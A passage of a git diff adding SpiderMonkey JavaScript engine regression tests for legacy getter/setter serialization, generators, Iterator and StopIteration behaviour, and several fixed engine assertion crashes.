+ (function() { yield ([15].some([].watch)); })().next();
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/extensions/regress-379566.js b/js/src/tests/js1_7/extensions/regress-379566.js
new file mode 100644
index 000000000..73f80ce04
--- /dev/null
+++ b/js/src/tests/js1_7/extensions/regress-379566.js
@@ -0,0 +1,45 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 379566;
+var summary = 'Keywords after get|set';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = '({ ' +
+ 'get in () { return this.for; }, ' +
+ 'set in (value) { this.for = value; } ' +
+ '})';
+ try
+ {
+ var obj = eval('({ ' +
+ 'get in() { return this.for; }, ' +
+ 'set in(value) { this.for = value; } ' +
+ '})');
+ actual = obj.toSource();
+
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ compareSource(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/extensions/regress-380933.js b/js/src/tests/js1_7/extensions/regress-380933.js
new file mode 100644
index 000000000..09f64209d
--- /dev/null
+++ b/js/src/tests/js1_7/extensions/regress-380933.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+var BUGNUMBER = 380933;
+var summary = 'Do not assert with uneval object with setter with modified proto';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var f = (function(){});
+var y =
+ Object.defineProperty({}, "p",
+ {
+ get: f,
+ enumerable: true,
+ configurable: true
+ });
+f.__proto__ = [];
+uneval(y);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
+
diff --git a/js/src/tests/js1_7/extensions/regress-381301.js b/js/src/tests/js1_7/extensions/regress-381301.js
new file mode 100644
index 000000000..e69009b80
--- /dev/null
+++ b/js/src/tests/js1_7/extensions/regress-381301.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 381301;
+var summary = 'uneval of object with native-function getter';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var o =
+ Object.defineProperty({}, "x", { get: decodeURI, enumerable: true, configurable: true });
+ expect = '( { get x ( ) { [ native code ] } } )';
+ actual = uneval(o);
+
+ compareSource(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/extensions/regress-381303.js b/js/src/tests/js1_7/extensions/regress-381303.js
new file mode 100644
index 000000000..40c9dbdef
--- /dev/null
+++ b/js/src/tests/js1_7/extensions/regress-381303.js
@@ -0,0 +1,35 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 381303;
+var summary = 'object toSource when a property has both a getter and a setter';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var obj = {set inn(value) {this.for = value;}, get inn() {return this.for;}};
+ expect = '( { ' +
+ 'get inn() {return this.for;}' +
+ ', ' +
+ 'set inn(value) {this.for = value;}' +
+ '})';
+ actual = obj.toSource();
+
+ compareSource(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/extensions/regress-387955-01.js b/js/src/tests/js1_7/extensions/regress-387955-01.js
new file mode 100644
index 000000000..e3af18401
--- /dev/null
+++ b/js/src/tests/js1_7/extensions/regress-387955-01.js
@@ -0,0 +1,40 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 387955;
+var summary = 'Do not Crash [@ TraceEdge]';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var fal = false;
+
+ function gen() {
+ let x;
+ function y(){}
+ this.__defineGetter__('', function(){});
+ if (fal)
+ yield;
+ }
+
+ for (var i in gen()) { }
+
+ gc();
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/extensions/regress-387955-02.js b/js/src/tests/js1_7/extensions/regress-387955-02.js
new file mode 100644
index 000000000..dc3b795b6
--- /dev/null
+++ b/js/src/tests/js1_7/extensions/regress-387955-02.js
@@ -0,0 +1,41 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 387955;
+var summary = 'Do not Crash [@ TraceEdge]';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var f;
+
+ function gen(yield_at_least_once) {
+ let x = 11;
+ function y(){}
+ f = function(){ return x; };
+ if (yield_at_least_once)
+ yield;
+ }
+
+ for (var i in gen()) { }
+
+ if (f() !== 11)
+ throw "unexpected value of local x";
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/extensions/regress-392308.js b/js/src/tests/js1_7/extensions/regress-392308.js
new file mode 100644
index 000000000..7d4c9e1d9
--- /dev/null
+++ b/js/src/tests/js1_7/extensions/regress-392308.js
@@ -0,0 +1,47 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 392308;
+var summary = 'StopIteration should be catchable';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function testStop() {
+ function yielder() {
+ actual += 'before, ';
+ yield;
+ actual += 'after, ';
+ }
+
+ expect = 'before, after, iteration terminated normally';
+
+ try {
+ var gen = yielder();
+ result = gen.next();
+ gen.send(result);
+ } catch (x if x instanceof StopIteration) {
+ actual += 'iteration terminated normally';
+ } catch (x2) {
+ actual += 'unexpected throw: ' + x2;
+ }
+ }
+ testStop();
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/extensions/regress-396326.js b/js/src/tests/js1_7/extensions/regress-396326.js
new file mode 100644
index 000000000..2a26e5350
--- /dev/null
+++ b/js/src/tests/js1_7/extensions/regress-396326.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 396326;
+var summary = 'Do not assert trying to disassemble get(var|arg) prop';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof dis == 'undefined')
+ {
+ print('disassembly not supported. test skipped.');
+ reportCompare(expect, actual, summary);
+ }
+ else
+ {
+ function f4() { let local; return local.prop };
+ dis(f4);
+ reportCompare(expect, actual, summary +
+ ': function f4() { let local; return local.prop };');
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/extensions/regress-453955.js b/js/src/tests/js1_7/extensions/regress-453955.js
new file mode 100644
index 000000000..454f712f3
--- /dev/null
+++ b/js/src/tests/js1_7/extensions/regress-453955.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 453955;
+var summary = 'Do not assert: sprop->setter != js_watch_set || pobj != obj';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var z = 0; z < 2; ++z)
+ {
+ [].filter.watch("9", function(y) { yield y; });
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/extensions/regress-458679.js b/js/src/tests/js1_7/extensions/regress-458679.js
new file mode 100644
index 000000000..d87d23512
--- /dev/null
+++ b/js/src/tests/js1_7/extensions/regress-458679.js
@@ -0,0 +1,52 @@
+// |reftest| skip-if(!xulRuntime.shell||xulRuntime.shell&&xulRuntime.XPCOMABI.match(/x86_64/)) slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 458679;
+var summary = 'Do not assert: nbytes != 0';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function f()
+{
+ for (var i = 1; i < dps.length; ++i) {
+ var a = "";
+ var b = "";
+ var c = "";
+ }
+}
+
+function stringOfLength(n)
+{
+ if (n == 0) {
+ return "";
+ } else if (n == 1) {
+ return "\"";
+ } else {
+ var r = n % 2;
+ var d = (n - r) / 2;
+ var y = stringOfLength(d);
+ return y + y + stringOfLength(r);
+ }
+}
+
+try
+{
+ this.__defineGetter__('x', this.toSource);
+ while (x.length < 12000000) {
+ let q = x;
+ s = q + q;
+ }
+ print(x.length);
+}
+catch(ex)
+{
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_7/extensions/regress-469234.js b/js/src/tests/js1_7/extensions/regress-469234.js
new file mode 100644
index 000000000..52ca30bf0
--- /dev/null
+++ b/js/src/tests/js1_7/extensions/regress-469234.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 469234;
+var summary = 'TM: Do not assert: !JS_ON_TRACE(cx)';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for(var j=0;j<3;++j)({__proto__:[]}).__defineSetter__('x',function(){});
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/extensions/regress-469405-01.js b/js/src/tests/js1_7/extensions/regress-469405-01.js
new file mode 100644
index 000000000..82172c3d3
--- /dev/null
+++ b/js/src/tests/js1_7/extensions/regress-469405-01.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 469405;
+var summary = 'Do not assert: !regs.sp[-2].isPrimitive()';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ (function() {
+ var a, b;
+ for each (a in [{}, {__iterator__: function(){}}]) for (b in a) { }
+ })();
+}
+catch(ex)
+{
+ print('caught ' + ex);
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_7/extensions/regress-469405-02.js b/js/src/tests/js1_7/extensions/regress-469405-02.js
new file mode 100644
index 000000000..196557e69
--- /dev/null
+++ b/js/src/tests/js1_7/extensions/regress-469405-02.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 469405;
+var summary = 'Do not assert: !regs.sp[-2].isPrimitive()';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ eval("__proto__.__iterator__ = [].toString");
+ for (var z = 0; z < 3; ++z) { if (z % 3 == 2) { for(let y in []); } }
+}
+catch(ex)
+{
+ print('caught ' + ex);
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_7/extensions/regress-470300-01.js b/js/src/tests/js1_7/extensions/regress-470300-01.js
new file mode 100644
index 000000000..6558330d1
--- /dev/null
+++ b/js/src/tests/js1_7/extensions/regress-470300-01.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 470300;
+var summary = 'TM: Do not assert: StackBase(fp) + blockDepth == regs.sp';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (let a = 0; a < 3; ++a) { let b = '' + []; }
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/extensions/regress-470300-02.js b/js/src/tests/js1_7/extensions/regress-470300-02.js
new file mode 100644
index 000000000..0ecd368ff
--- /dev/null
+++ b/js/src/tests/js1_7/extensions/regress-470300-02.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 470300;
+var summary = 'TM: Do not assert: !fp->blockChain || OBJ_GET_PARENT(cx, obj) == fp->blockChain';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (let a = 0; a < 7; ++a) { let e = 8; if (a > 3) { let x; } }
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/extensions/regress-473282.js b/js/src/tests/js1_7/extensions/regress-473282.js
new file mode 100644
index 000000000..c50ac9234
--- /dev/null
+++ b/js/src/tests/js1_7/extensions/regress-473282.js
@@ -0,0 +1,20 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 473282;
+var summary = 'Do not assert: thing';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+this.watch("b", "".substring);
+this.__defineGetter__("a", gc);
+for each (b in [this, null, null]);
+a;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_7/extensions/regress-474771-01.js b/js/src/tests/js1_7/extensions/regress-474771-01.js
new file mode 100644
index 000000000..ca754ba2c
--- /dev/null
+++ b/js/src/tests/js1_7/extensions/regress-474771-01.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 474771;
+var summary = 'TM: do not assert: jumpTable == interruptJumpTable';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ var o = {};
+ o.__defineSetter__('x', function(){});
+ for (let j = 0; j < 4; ++j) o.x = 3;
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/extensions/regress-474771-02.js b/js/src/tests/js1_7/extensions/regress-474771-02.js
new file mode 100644
index 000000000..127351858
--- /dev/null
+++ b/js/src/tests/js1_7/extensions/regress-474771-02.js
@@ -0,0 +1,20 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 474771;
+var summary = 'TM: do not assert: jumpTable == interruptJumpTable';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+this.__defineSetter__('x', function(){});
+for (var j = 0; j < 5; ++j) { x = 3; }
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_7/extensions/regress-476257.js b/js/src/tests/js1_7/extensions/regress-476257.js
new file mode 100644
index 000000000..6f2852590
--- /dev/null
+++ b/js/src/tests/js1_7/extensions/regress-476257.js
@@ -0,0 +1,57 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 476257;
+var summary = 'Do not assert: !JS_ON_TRACE(cx)';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+function f1() {
+ try
+ {
+ Object.defineProperty(__proto__, "functional",
+ {
+ enumerable: true, configurable: true,
+ get: function ()
+ {
+ if (typeof gczeal == 'function') { gczeal(0); }
+ }
+ });
+ for each (let [[]] in [true, new Boolean(true), new Boolean(true)]) {}
+ }
+ catch(ex)
+ {
+ }
+}
+
+function f2() {
+ try
+ {
+ Object.defineProperty(__proto__, "functional",
+ {
+ enumerable: true, configurable: true,
+ get: function ()
+ {
+ if (typeof dis == 'function') { dis(); }
+ }
+ });
+ for each (let [[]] in [true, new Boolean(true), new Boolean(true)]) {}
+ }
+ catch(ex)
+ {
+ }
+}
+
+f1();
+f2();
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_7/extensions/regress-477048.js b/js/src/tests/js1_7/extensions/regress-477048.js
new file mode 100644
index 000000000..638f9f035
--- /dev/null
+++ b/js/src/tests/js1_7/extensions/regress-477048.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 477048;
+var summary = 'Do not assert: cg->stackDepth == loopDepth';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ for each (this.__proto__ in x) {}
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/extensions/regress-589112.js b/js/src/tests/js1_7/extensions/regress-589112.js
new file mode 100644
index 000000000..db6d1c7c0
--- /dev/null
+++ b/js/src/tests/js1_7/extensions/regress-589112.js
@@ -0,0 +1,6 @@
+
+f = eval("(function(){return x=Iterator(/x/)})")
+for (a in f()) {}
+for (d in x) {}
+
+reportCompare(0, 0, "");
diff --git a/js/src/tests/js1_7/extensions/regress-590813.js b/js/src/tests/js1_7/extensions/regress-590813.js
new file mode 100644
index 000000000..ec701ced5
--- /dev/null
+++ b/js/src/tests/js1_7/extensions/regress-590813.js
@@ -0,0 +1,23 @@
+
+var actual = '';
+var expected = 'A0B1B2C0C1C2';
+
+var x = Iterator([1,2,3], true);
+
+for (var a in x) {
+ actual += 'A' + a;
+ for (var b in x) {
+ actual += 'B' + b;
+ }
+}
+
+var y = Iterator([1,2,3], true);
+
+for (var c in y) {
+ actual += 'C' + c;
+}
+for (var d in y) {
+ actual += 'D' + d;
+}
+
+reportCompare(expected, actual, "Handle nested Iterator iteration right");
diff --git a/js/src/tests/js1_7/extensions/regress-591450.js b/js/src/tests/js1_7/extensions/regress-591450.js
new file mode 100644
index 000000000..f1ebcf675
--- /dev/null
+++ b/js/src/tests/js1_7/extensions/regress-591450.js
@@ -0,0 +1,12 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/*
+ * This was causing the parser to assert at one point. Now it's not. Yay!
+ */
+function f(a,[x,y],b,[w,z],c) { function b() { } }
+
+reportCompare(0, 0, "don't crash");
diff --git a/js/src/tests/js1_7/extensions/shell.js b/js/src/tests/js1_7/extensions/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_7/extensions/shell.js
diff --git a/js/src/tests/js1_7/geniter/326466-01.js b/js/src/tests/js1_7/geniter/326466-01.js
new file mode 100644
index 000000000..4c9bf1ad3
--- /dev/null
+++ b/js/src/tests/js1_7/geniter/326466-01.js
@@ -0,0 +1,45 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 326466;
+var summary = 'Implement Pythonic generators and iteration protocol support';
+var actual;
+var expect;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function fib()
+{
+ var a = 0, b = 1;
+
+ while (true)
+ {
+ yield a;
+ var t = a;
+ a = b;
+ b += t;
+ }
+}
+
+var g = fib();
+
+expect = '[object Generator]';
+actual = g.toString();
+reportCompare(expect, actual, summary);
+
+var actual = [];
+var expect = [0, 1, 1, 2, 3, 5, 8, 13];
+actual.push(g.next());
+actual.push(g.next());
+actual.push(g.next());
+actual.push(g.next());
+actual.push(g.next());
+actual.push(g.next());
+actual.push(g.next());
+actual.push(g.next());
+reportCompare(expect.join(), actual.join(), summary);
+
diff --git a/js/src/tests/js1_7/geniter/browser.js b/js/src/tests/js1_7/geniter/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_7/geniter/browser.js
diff --git a/js/src/tests/js1_7/geniter/builtin-Iterator-function.js b/js/src/tests/js1_7/geniter/builtin-Iterator-function.js
new file mode 100644
index 000000000..01b659e7d
--- /dev/null
+++ b/js/src/tests/js1_7/geniter/builtin-Iterator-function.js
@@ -0,0 +1,89 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = "(none)";
+var summary = "Iterator() test";
+var actual, expect;
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var failed = false;
+
+function Array_equals(a, b)
+{
+ if (!(a instanceof Array) || !(b instanceof Array))
+ throw new Error("Arguments not both of type Array");
+ if (a.length != b.length)
+ return false;
+ for (var i = 0, sz = a.length; i < sz; i++)
+ if (a[i] !== b[i])
+ return false;
+ return true;
+}
+
+var meow = "meow", oink = "oink", baa = "baa";
+
+var it = Iterator([meow, oink, baa]);
+var it2 = Iterator([meow, oink, baa], true);
+
+try
+{
+ if (!Array_equals(it.next(), [0, meow]))
+ throw [0, meow];
+ if (!Array_equals(it.next(), [1, oink]))
+ throw [1, oink];
+ if (!Array_equals(it.next(), [2, baa]))
+ throw [2, baa];
+
+ var stopPassed = false;
+ try
+ {
+ it.next();
+ }
+ catch (e)
+ {
+ if (e === StopIteration)
+ stopPassed = true;
+ }
+
+ if (!stopPassed)
+ throw "it: missing or incorrect StopIteration";
+
+ if (it2.next() != 0)
+ throw "wanted key=0";
+ if (it2.next() != 1)
+ throw "wanted key=1";
+ if (it2.next() != 2)
+ throw "wanted key=2";
+
+ var stopPassed = false;
+ try
+ {
+ it2.next();
+ }
+ catch (e)
+ {
+ if (e === StopIteration)
+ stopPassed = true;
+ }
+
+ if (!stopPassed)
+ throw "it2: missing or incorrect StopIteration";
+}
+catch (e)
+{
+ failed = e;
+}
+
+expect = false;
+actual = failed;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_7/geniter/close-returns-undefined.js b/js/src/tests/js1_7/geniter/close-returns-undefined.js
new file mode 100644
index 000000000..a1f81ec5b
--- /dev/null
+++ b/js/src/tests/js1_7/geniter/close-returns-undefined.js
@@ -0,0 +1,20 @@
+function gen() {
+ yield 3;
+}
+
+var g = gen();
+assertEq(g.close(), undefined);
+
+var h = gen();
+assertEq(h.next(), 3);
+var caught = false;
+try {
+ h.next();
+} catch (e) {
+ caught = true;
+ assertEq(e instanceof StopIteration, true);
+}
+assertEq(caught, true);
+assertEq(h.close(), undefined);
+
+reportCompare();
diff --git a/js/src/tests/js1_7/geniter/fibonacci-matrix-generator.js b/js/src/tests/js1_7/geniter/fibonacci-matrix-generator.js
new file mode 100644
index 000000000..e1c9efb13
--- /dev/null
+++ b/js/src/tests/js1_7/geniter/fibonacci-matrix-generator.js
@@ -0,0 +1,64 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = "(none)";
+var summary = "Fibonacci generator by matrix multiplication";
+var actual, expect;
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function fib()
+{
+ var init = [1, 0];
+ var mx = [[1, 1], [1, 0]];
+ while (true)
+ {
+ yield init[1];
+ var tmp = [,];
+ tmp[0] =
+ mx[0][0]*init[0] + mx[0][1]*init[1];
+ tmp[1] =
+ mx[1][0]*init[0] + mx[1][1]*init[1];
+ init = tmp;
+ }
+}
+
+var failed = false;
+var it = fib();
+
+try
+{
+ if (it.next() != 0)
+ throw "F_0 failed";
+ if (it.next() != 1)
+ throw "F_1 failed";
+ if (it.next() != 1)
+ throw "F_2 failed";
+ if (it.next() != 2)
+ throw "F_3 failed";
+ if (it.next() != 3)
+ throw "F_4 failed";
+ if (it.next() != 5)
+ throw "F_5 failed";
+ if (it.next() != 8)
+ throw "F_6 failed";
+}
+catch (e)
+{
+ failed = e;
+}
+
+
+
